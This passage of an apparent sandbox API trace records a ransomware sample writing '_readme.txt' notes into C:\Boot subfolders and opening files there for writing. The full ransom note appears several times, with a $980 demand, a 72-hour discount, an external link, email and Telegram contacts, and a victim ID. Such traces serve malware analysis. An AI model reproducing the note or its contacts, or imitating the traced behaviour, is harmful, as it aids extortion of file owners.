(HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.931] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.931] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.931] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.931] PathFindFileNameW (pszPath="") returned="" [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.931] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.931] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.931] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.932] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e9368 [0124.932] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.932] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.932] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.932] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.932] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.932] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.933] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.933] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.933] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0124.933] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.933] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.933] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.933] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.933] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.934] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0124.934] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.934] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.934] PathFindFileNameW (pszPath="") returned="" [0124.934] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.935] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.935] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.935] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.935] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0124.935] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0124.935] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: 